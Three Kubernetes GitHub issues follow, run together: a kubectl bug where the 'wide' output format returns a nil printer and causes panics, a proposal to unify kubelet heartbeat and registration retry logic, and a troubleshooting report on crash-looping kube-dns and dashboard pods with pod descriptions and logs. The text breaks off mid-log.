problem  \r \r right now, printer helpers such as  cmdutil.printerforcommand  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l128  call  kubectl.getprinter  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/resource_printer.go l74  with the output format specified by a  --output  flag, in order to retrieve the right printer for that format.\r \r when  kubect.getprinter  is called with a  wide  format,  nil is returned for both the printer and the error  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/resource_printer.go l144 . this has inevitably led to panics throughout kubectl commands whenever code that calls  kubectl.getprinter    either directly or indirectly through cmdutil.printerforcommand   attempts to use the retrieved printer if no errors are returned. for example:\r \r    go\r // $ kubectl ... -o wide\r \r outputformat := cmdutil.getflagstring cmd, \ output\  \r printer, generic, err := kubectl.getprinter outputformat, ... \r if err != nil {\r     // handle error\r     return\r }\r \r // any code here assumes no error and that the printer exists, however since both the printer and the \r // error were nil for the \ wide\  outputformat, the line below will cause a panic\r printer.printobj info.object, out \r    \r \r commands like  kubectl create  and  kubectl apply  get around this by  only supporting the  name  output format  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/create.go l156 , however when expanding these commands  to eventually use all supported output formats by resource printers  https://github.com/kubernetes/kubernetes/pull/38112   json, yaml, custom-columns, etc... , this becomes an issue.\r \r   proposal  \r \r 1. a solution to this could either be to actually return an error in  kubect.getprinter  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/resource_printer.go l144  if the returned printer will be  nil \r  - which would then allow existing helpers such as  cmdutil.printerforcommand  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/printing.go l108  to handle this and return a  newhumanreadableprinter  with the right  printoptions  for example, \r \r 2. or to simply return a  newhumanreadableprinter  in  kubectl.getprinter  any time the output format specified ==  wide .\r \r cc @fabianofranz @pwittrock @adohe @deads2k

feature request \r \r goal: incrementally improve the transparency and simplicity of the node's logging of status updates and communication with the apiserver,\r \r - for context, in  44577 we discussed that the timings in the node retries are coupled intentionally to behaviour of other components in the system, for example, the node controller.... but that pr may or may not move forward... \r - in any case, we can follow up here with a more subtle improvement that doesn't change the explicit timings, but does consolidate logic / logging /readability of the behaviour.\r \r problem: \r \r - the node checks in several times consecutively for registration.  this is a nonstandard and awkward communication pattern, hard to understand when looking at logs in failure scenarios.\r - does a non exponential retry for registration.  so likely it just fails 5 times in a row in most cases.\r - syncnodestatus is essentially a heartbeat function, and that heartbeat pattern should be exposed to other parts of the code that rely on it - such as the nodecontroller.  right now, the dependency is implicit.\r \r solution: \r \r - at the very least, we should unify the logic between the kubelet heartbeat and the node controller in  one place , i.e something like  struct nodeheartbeatconfig {}  or something  can't think of a good name for it right now.  that heartbeat can be used to make coupling explicit, rather then implicit , between controller vs node timings.\r - at best, we should make the heartbeat more configurable and easy to log, with better metrics, and configurable exponential backoff.\r - better yet, do both : .  \r \r \r \r lets see what we can agree on, im happy just implementing the first bullet if thats acceptable.  cc @kubernetes/sig-node-proposals ...

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug maybe  or guide error \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r master01 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r     \r \r   environment  :\r -   cloud provider or hardware configuration  : kvm\r -   os    e.g. from /etc/os-release : coreos version=1353.7.0\r -   kernel    e.g.  uname -a  : linux 4.9.24-coreos x86_64\r -   install tools  : followed https://coreos.com/kubernetes/docs/latest/getting-started.html\r -   others  :\r \r \r   what happened  :\r i've deployed the dns and dashboard add-on, according to  step 5: deploy add-ons  https://coreos.com/kubernetes/docs/latest/deploy-addons.html , but they get into a crash loop.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r my installation procedure is the same as  manual installation guide  https://coreos.com/kubernetes/docs/latest/   except for adding \ --storage-backend=etcd2\  and \ --storage-media-type=application/json\  to kube-apiserver.yaml because apiserver pod periodically restarts.\r \r details as the below:\r \r     \r master01 ~   kubectl get pods --namespace=kube-system -o wide\r name                                   ready     status             restarts   age       ip             node\r kube-apiserver-172.30.1.100            1/1       running             0         3m        172.30.1.100   172.30.1.100\r kube-controller-manager-172.30.1.100   1/1       running             7         3h        172.30.1.100   172.30.1.100\r kube-dns-v20-gg303                     2/3       crashloopbackoff   56         1h        10.2.68.2      172.30.1.101\r kube-proxy-172.30.1.100                1/1       running             3         3h        172.30.1.100   172.30.1.100\r kube-proxy-172.30.1.101                1/1       running             2         3h        172.30.1.101   172.30.1.101\r kube-proxy-172.30.1.102                1/1       running             2         3h        172.30.1.102   172.30.1.102\r kube-proxy-172.30.1.103                1/1       running             2         3h        172.30.1.103   172.30.1.103\r kube-scheduler-172.30.1.100            1/1       running             5         3h        172.30.1.100   172.30.1.100\r kubernetes-dashboard-v1.6.0-p98p6      0/1       crashloopbackoff   24         1h        10.2.2.2       172.30.1.102\r     \r \r   kube-dns logs  \r     \r master01 ~   kubectl describe pods kube-dns-v20-gg303 --namespace=kube-system\r name:           kube-dns-v20-gg303\r namespace:      kube-system\r node:           172.30.1.101/172.30.1.101\r start time:     thu, 18 may 2017 20:13:40 +0900\r labels:         k8s-app=kube-dns\r                 version=v20\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-dns-v20\ ,\ uid\ :\ 0cb39011-3bbb-11e7-87e9-5254...\r                 scheduler.alpha.kubernetes.io/critical-pod=\r                 scheduler.alpha.kubernetes.io/tolerations= {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \r status:         running\r ip:             10.2.68.2\r controllers:    replicationcontroller/kube-dns-v20\r containers:\r   kubedns:\r     container id:       docker://85b373f7ae5a106d995f47a2c8c4af6ff1d531f2033a193043e6e380a904a10c\r     image:              gcr.io/google_containers/kubedns-amd64:1.8\r     image id:           docker-pullable://gcr.io/google_containers/kubedns-amd64@sha256:39264fd3c998798acdf4fe91c556a6b44f281b6c5797f464f92c3b561c8c808c\r     ports:              10053/udp, 10053/tcp\r     args:\r       --domain=cluster.local.\r       --dns-port=10053\r     state:              running\r       started:          thu, 18 may 2017 22:04:46 +0900\r     last state:         terminated\r       reason:           error\r       exit code:        137\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         thu, 18 may 2017 22:04:46 +0900\r     ready:              false\r     restart count:      30\r     limits:\r       memory:   170mi\r     requests:\r       cpu:              100m\r       memory:           70mi\r     liveness:           http-get http://:8080/healthz-kubedns delay=60s timeout=5s period=10s  success=1  failure=5\r     readiness:          http-get http://:8081/readiness delay=3s timeout=5s period=10s  success=1  failure=3\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-722hj  ro \r   dnsmasq:\r     container id:       docker://f298d29fb13e2c398c5736478f237c55b4117681d2fa7111f1aba86eb867a247\r     image:              gcr.io/google_containers/kube-dnsmasq-amd64:1.4\r     image id:           docker-pullable://gcr.io/google_containers/kube-dnsmasq-amd64@sha256:a722df15c0cf87779aad8ba2468cf072dd208cb5d7cfcaedd90e66b3da9ea9d2\r     ports:              53/udp, 53/tcp\r     args:\r       --cache-size=1000\r       --no-resolv\r       --server=127.0.0.1 10053\r       --log-facility=-\r     state:              running\r       started:          thu, 18 may 2017 22:05:26 +0900\r     last state:         terminated\r       reason:           error\r       exit code:        137\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         thu, 18 may 2017 22:05:26 +0900\r     ready:              true\r     restart count:      30\r     liveness:           http-get http://:8080/healthz-dnsmasq delay=60s timeout=5s period=10s  success=1  failure=5\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-722hj  ro \r   healthz:\r     container id:       docker://47b39617e5fbaa7ab3a01ecdb4d2fa666948dcbbff1a6c71854dc66fae603d2a\r     image:              gcr.io/google_containers/exechealthz-amd64:1.2\r     image id:           docker-pullable://gcr.io/google_containers/exechealthz-amd64@sha256:503e158c3f65ed7399f54010571c7c977ade7fe59010695f48d9650d83488c0a\r     port:               8080/tcp\r     args:\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null\r       --url=/healthz-dnsmasq\r       --cmd=nslookup kubernetes.default.svc.cluster.local 127.0.0.1:10053 >/dev/null\r       --url=/healthz-kubedns\r       --port=8080\r       --quiet\r     state:              running\r       started:          thu, 18 may 2017 21:57:28 +0900\r     last state:         terminated\r       reason:           completed\r       exit code:        0\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         thu, 18 may 2017 21:56:43 +0900\r     ready:              true\r     restart count:      2\r     limits:\r       memory:   50mi\r     requests:\r       cpu:              10m\r       memory:           50mi\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-722hj  ro \r conditions:\r   type          status\r   initialized   true \r   ready         false \r   podscheduled  true \r volumes:\r   default-token-722hj:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-722hj\r     optional:   false\r qos class:      burstable\r node-selectors: <none>\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath                   type            reason          message\r   ---------     --------        -----   ----                    -------------                   --------        ------          -------\r   58m           58m             1       kubelet, 172.30.1.101                                   normal          sandboxchanged  pod sandbox changed, it will be killed and re-created.\r   58m           58m             1       kubelet, 172.30.1.101   spec.containers{healthz}        normal          pulled          container image \ gcr.io/google_containers/exechealthz-amd64:1.2\  already present on machine\r .\r .\r .\r   51m           51m             1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal          killing         killing container with id docker://26d92966bcc447662734359705db6f226fa5140b4e0937434c1113ab5883ac2d:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   50m           50m             1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal          started         started container with id cd42a0e9a0e12547d61c661eb91b6e5d4afd22b10c00a86ad099295f8f71161f\r   50m           50m             1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal          created         created container with id cd42a0e9a0e12547d61c661eb91b6e5d4afd22b10c00a86ad099295f8f71161f\r   50m           50m             1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal          killing         killing container with id docker://d6010d6aba3b1c2fb918a6f35fdd2631ad77f968b1f2f560e04b0375ab82fe5a:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ kubedns\  is unhealthy, it will be killed and re-created.\r   50m           50m             1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal          created         created container with id 7e8f43084708ce0ddf8dbb7ef0b4216fe186df8b90bb9048776c9435eebbe00c\r   50m           50m             1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal          started         started container with id 7e8f43084708ce0ddf8dbb7ef0b4216fe186df8b90bb9048776c9435eebbe00c\r   49m           49m             1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal          killing         killing container with id docker://cd42a0e9a0e12547d61c661eb91b6e5d4afd22b10c00a86ad099295f8f71161f:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   48m           48m             1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal          killing         killing container with id docker://7e8f43084708ce0ddf8dbb7ef0b4216fe186df8b90bb9048776c9435eebbe00c:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ kubedns\  is unhealthy, it will be killed and re-created.\r   47m           47m             1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal          killing         killing container with id docker://61be0b1575a99f2140b1baf98137af50ac49d2cd02b6d0221f594870301a8423:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   46m           45m             8       kubelet, 172.30.1.101                                   warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ \r \r   44m   44m     1       kubelet, 172.30.1.101           warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ , failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  \r   44m   44m     6       kubelet, 172.30.1.101           warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ , failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  \r   41m   16m     5       kubelet, 172.30.1.101           warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ , failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  \r   42m   15m     40      kubelet, 172.30.1.101           warning failedsync      error syncing pod, skipping:  failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ , failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  \r   58m   13m     14      kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  pulled          container image \ gcr.io/google_containers/kube-dnsmasq-amd64:1.4\  already present on machine\r   39m   12m     56      kubelet, 172.30.1.101                                   warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubedns\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubedns pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ \r \r   58m   9m      14      kubelet, 172.30.1.101   spec.containers{kubedns}        normal  pulled          container image \ gcr.io/google_containers/kubedns-amd64:1.8\  already present on machine\r   46m   9m      18      kubelet, 172.30.1.101   spec.containers{kubedns}        normal  killing          events with common reason combined \r   48m   9m      20      kubelet, 172.30.1.101   spec.containers{kubedns}        normal  created          events with common reason combined \r   48m   9m      20      kubelet, 172.30.1.101   spec.containers{kubedns}        normal  started          events with common reason combined \r   43m   9m      59      kubelet, 172.30.1.101                                   warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ dnsmasq\  with crashloopbackoff: \ back-off 5m0s restarting failed container=dnsmasq pod=kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \ \r \r   46m   9m      227     kubelet, 172.30.1.101   spec.containers{kubedns}        warning backoff         back-off restarting failed container\r   8m    8m      1       kubelet, 172.30.1.101                                   normal  sandboxchanged  pod sandbox changed, it will be killed and re-created.\r .\r .\r .\r   2m    2m      1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal  created         created container with id 1f74017422e1585ff27295056382736fc005befcb17886136e24d711e7587427\r   2m    2m      1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  started         started container with id 7f3b8ed565c7125e8e53c827b6eb5922e2bee30fc3f220505e1a322ec3d8b213\r   2m    2m      1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  killing         killing container with id docker://c11131b03e29341502a783713f103026a27ad3bcab39932906ba2d477593883c:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   2m    2m      1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  created         created container with id 7f3b8ed565c7125e8e53c827b6eb5922e2bee30fc3f220505e1a322ec3d8b213\r   8m    1m      5       kubelet, 172.30.1.101   spec.containers{kubedns}        normal  pulled          container image \ gcr.io/google_containers/kubedns-amd64:1.8\  already present on machine\r   1m    1m      1       kubelet, 172.30.1.101   spec.containers{kubedns}        normal  killing         killing container with id docker://1f74017422e1585ff27295056382736fc005befcb17886136e24d711e7587427:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ kubedns\  is unhealthy, it will be killed and re-created.\r   32s   32s     1       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  killing         killing container with id docker://7f3b8ed565c7125e8e53c827b6eb5922e2bee30fc3f220505e1a322ec3d8b213:pod \ kube-dns-v20-gg303_kube-system 0cb52788-3bbb-11e7-87e9-5254000e34f9 \  container \ dnsmasq\  is unhealthy, it will be killed and re-created.\r   1m    32s     2       kubelet, 172.30.1.101   spec.containers{kubedns}        normal  created          events with common reason combined \r   1m    32s     2       kubelet, 172.30.1.101   spec.containers{kubedns}        normal  started          events with common reason combined \r   8m    32s     5       kubelet, 172.30.1.101   spec.containers{dnsmasq}        normal  pulled          container image \ gcr.io/google_containers/kube-dnsmasq-amd64:1.4\  already present on machine\r     \r     \r master01 ~   kubectl logs kube-dns-v20-gg303 -c kubedns --namespace=kube-system\r i0518 13:09:09.956186       1 server.go:94  using https://10.3.0.1:443 for kubernetes master, kubernetes api: <nil>\r i0518 13:09:09.958748       1 server.go:99  v1.5.0-alpha.0.1651+7dcae5edd84f06-dirty\r i0518 13:09:09.958772       1 server.go:101  flag: --alsologtostderr=\ false\ \r i0518 13:09:09.958793       1 server.go:101  flag: --dns-port=\ 10053\ \r i0518 13:09:09.958836       1 server.go:101  flag: --domain=\ cluster.local.\ \r i0518 13:09:09.958857       1 server.go:101  flag: --federations=\ \ \r i0518 13:09:09.958867       1 server.go:101  flag: --healthz-port=\ 8081\ \r i0518 13:09:09.958885       1 server.go:101  flag: --kube-master-url=\ \ \r i0518 13:09:09.958895       1 server.go:101  flag: --kubecfg-file=\ \ \r i0518 13:09:09.958905       1 server.go:101  flag: --log-backtrace-at=\ :0\ \r i0518 13:09:09.958916       1 server.go:101  flag: --log-dir=\ \ \r i0518 13:09:09.958926       1 server.go:101  flag: --log-flush-frequency=\ 5s\ \r i0518 13:09:09.959007       1 server.go:101  flag: --logtostderr=\ true\ \r i0518 13:09:09.959020       1 server.go:101  flag: --stderrthreshold=\ 2\ \r i0518 13:09:09.959030       1 server.go:101  flag: --v=\ 0\ \r i0518 13:09:09.959039       1 server.go:101  flag: --version=\ false\ \r i0518 13:09:09.959049       1 server.go:101  flag: --vmodule=\ \ \r i0518 13:09:09.959090       1 server.go:138  starting skydns server. listening on port:10053\r i0518 13:09:09.959184       1 server.go:145  skydns: metrics enabled on : /metrics:\r i0518 13:09:09.959208       1 dns.go:166  waiting for service: default/kubernetes\r i0518 13:09:09.959534       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0518 13:09:09.959554       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0518 13:09:39.959638       1 dns.go:172  ignoring error while waiting for service default/kubernetes: get https://10.3.0.1:443/api/v1/namespaces/default/services/kubernetes: dial tcp 10.3.0.1:443: i/o timeout. sleeping 1s before retrying.\r e0518 13:09:39.960119       1 reflector.go:214  pkg/dns/dns.go:154: failed to list  api.endpoints: get https://10.3.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r e0518 13:09:39.960339       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.service: get https://10.3.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r i0518 13:10:10.960181       1 dns.go:172  ignoring error while waiting for service default/kubernetes: get https://10.3.0.1:443/api/v1/namespaces/default/services/kubernetes: dial tcp 10.3.0.1:443: i/o timeout. sleeping 1s before retrying.\r e0518 13:10:10.960470       1 reflector.go:214  pkg/dns/dns.go:154: failed to list  api.endpoints: get https://10.3.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r e0518 13:10:10.960532       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.service: get https://10.3.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r i0518 13:10:16.832928       1 server.go:133  received signal: terminated, will exit when the grace period ends\r e0518 13:10:41.960854       1 reflector.go:214  pkg/dns/dns.go:155: failed to list  api.service: get https://10.3.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r i0518 13:10:41.960865       1 dns.go:172  ignoring error while waiting for service default/kubernetes: get https://10.3.0.1:443/api/v1/namespaces/default/services/kubernetes: dial tcp 10.3.0.1:443: i/o timeout. sleeping 1s before retrying.\r e0518 13:10:41.960938       1 reflector.go:214  pkg/dns/dns.go:154: failed to list  api.endpoints: get https://10.3.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.3.0.1:443: i/o timeout\r     \r \r   kubernetes-dashboard logs  \r     \r master01 ~   kubectl describe pods kubernetes-dashboard-v1.6.0-p98p6 --namespace=kube-system\r name:           kubernetes-dashboard-v1.6.0-p98p6\r namespace:      kube-system\r node:           172.30.1.102/172.30.1.102\r start time:     thu, 18 may 2017 20:30:44 +0900\r labels:         k8s-app=kubernetes-dashboard\r                 kubernetes.io/cluster-service=true\r                 version=v1.6.0\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kubernetes-dashboard-v1.6.0\ ,\ uid\ :\ 6e6bd6a7-3bbd...\r                 scheduler.alpha.kubernetes.io/critical-pod=\r                 scheduler.alpha.kubernetes.io/tolerations= {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } \r status:         running\r ip:             10.2.2.2\r controllers:    replicationcontroller/kubernetes-dashboard-v1.6.0\r containers:\r   kubernetes-dashboard:\r     container id:       docker://ccda3aa5626ed514c2676481f55dff27f95395cc758d04764c219dc292487054\r     image:              gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.0\r     image id:           docker-pullable://gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:4ad64dfa7159ff4a99a65a4f96432f2fdb6542857cf230858b3159017833a882\r     port:               9090/tcp\r     state:              waiting\r       reason:           crashloopbackoff\r     last state:         terminated\r       reason:           error\r       exit code:        1\r       started:          mon, 01 jan 0001 00:00:00 +0000\r       finished:         thu, 18 may 2017 22:12:12 +0900\r     ready:              false\r     restart count:      27\r     limits:\r       cpu:      100m\r       memory:   50mi\r     requests:\r       cpu:              100m\r       memory:           50mi\r     liveness:           http-get http://:9090/ delay=30s timeout=30s period=10s  success=1  failure=3\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-722hj  ro \r conditions:\r   type          status\r   initialized   true \r   ready         false \r   podscheduled  true \r volumes:\r   default-token-722hj:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-722hj\r     optional:   false\r qos class:      guaranteed\r node-selectors: <none>\r tolerations:    <none>\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   59m           57m             13      kubelet, 172.30.1.102                   warning         failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 2m40s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-v1.6.0-p98p6_kube-system 6e6c7bae-3bbd-11e7-87e9-5254000e34f9 \ \r \r   57m   57m     1       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  created         created container with id  d370ec3d54856b2ddc9c9eae663cd3250f875bab40b44568f6c4ebfb525c4036\r .\r .\r .\r   40m   40m     1       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  started         started container with id d370ec3d54856b2ddc9c9eae663cd3250f875bab40b44568f6c4ebfb525c4036\r   1h    17m     13      kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  pulled          container image \ gcr.io/google_containers/kubernetes-dashboard-amd64:v1.6.0\  already present on machine\r   34m   17m     4       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  created          events with common reason combined \r   34m   17m     4       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  started          events with common reason combined \r   56m   17m     165     kubelet, 172.30.1.102                                           warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-v1.6.0-p98p6_kube-system 6e6c7bae-3bbd-11e7-87e9-5254000e34f9 \ \r \r   1h    17m     194     kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   warning backoff         back-off restarting failed container\r   15m   15m     1       kubelet, 172.30.1.102                                           normal  sandboxchanged  pod sandbox changed, it will be killed and re-created.\r   15m   15m     1       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  started         started container with id 8e8b5d57b22f1e5b77c90169d56de6168ffbe9bd2fec386b80f8ed46cca9402b\r   15m   15m     1       kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   normal  created         created container with id 8e8b5d57b22f1e5b77c90169d56de6168ffbe9bd2fec386b80f8ed46cca9402b\r .\r .\r .\r   6m    2s      30      kubelet, 172.30.1.102                                           warning failedsync      error syncing pod, skipping: failed to \ startcontainer\  for \ kubernetes-dashboard\  with crashloopbackoff: \ back-off 5m0s restarting failed container=kubernetes-dashboard pod=kubernetes-dashboard-v1.6.0-p98p6_kube-system 6e6c7bae-3bbd-11e7-87e9-5254000e34f9 \ \r \r   15m   2s      58      kubelet, 172.30.1.102   spec.containers{kubernetes-dashboard}   warning backoff back-off restarting failed container\r     \r     \r master01 ~   kubectl logs kubernetes-dashboard-v1.6.0-p98p6 -c kubernetes-dashboard --namespace=kube-system\r using http port: 9090\r creating api server client for https://10.3.0.1:443\r error while initializing connection to kubernetes apiserver. this most likely means that the cluster is misconfigured  e.g., it has invalid apiserver certificates or service accounts configuration  or the --apiserver-host param points to a server that does not exist. reason: get https://10.3.0.1:443/version: dial tcp 10.3.0.1:443: i/o timeout\r refer to the troubleshooting guide for more information: https://github.com/kubernetes/dashboard/blob/master/docs/user-guide/troubleshooting.md\r     \r \r   etc..  \r     \r master01 ~   systemctl status kubelet\r     kubelet.service\r    loaded: loaded  /etc/systemd/system/kubelet.service; enabled; vendor preset: disabled \r    active: active  running  since thu 2017-05-18 21:56:57 kst; 47min ago\r   process: 799 execstartpre=/usr/bin/rkt rm --uuid-file=/var/run/kubelet-pod.uuid  code=exited, status=254 \r   process: 796 execstartpre=/usr/bin/mkdir -p /var/log/containers  code=exited, status=0/success \r   process: 730 execstartpre=/usr/bin/mkdir -p /etc/kubernetes/manifests  code=exited, status=0/success \r  main pid: 832  kubelet \r     tasks: 18  limit: 32768 \r    memory: 794.0m\r       cpu: 54.591s\r    cgroup: /system.slice/kubelet.service\r                   832 /kubelet --api-servers=http://127.0.0.1:8080 --register-schedulable=false --cni-conf-dir=/etc/kubernetes/cni/net.d --network-plugin=cni --container-runtime=docker --allow-privileged=true --pod-manifest-path=/etc/kubernetes/manifests --hostna\r me-override=172.30.1.100 --cluster_dns=10.3.0.10 --cluster_domain=cluster.local\r                  1383 journalctl -k -f\r \r may 18 21:57:42 master01 kubelet-wrapper 832 : w0518 12:57:42.229140   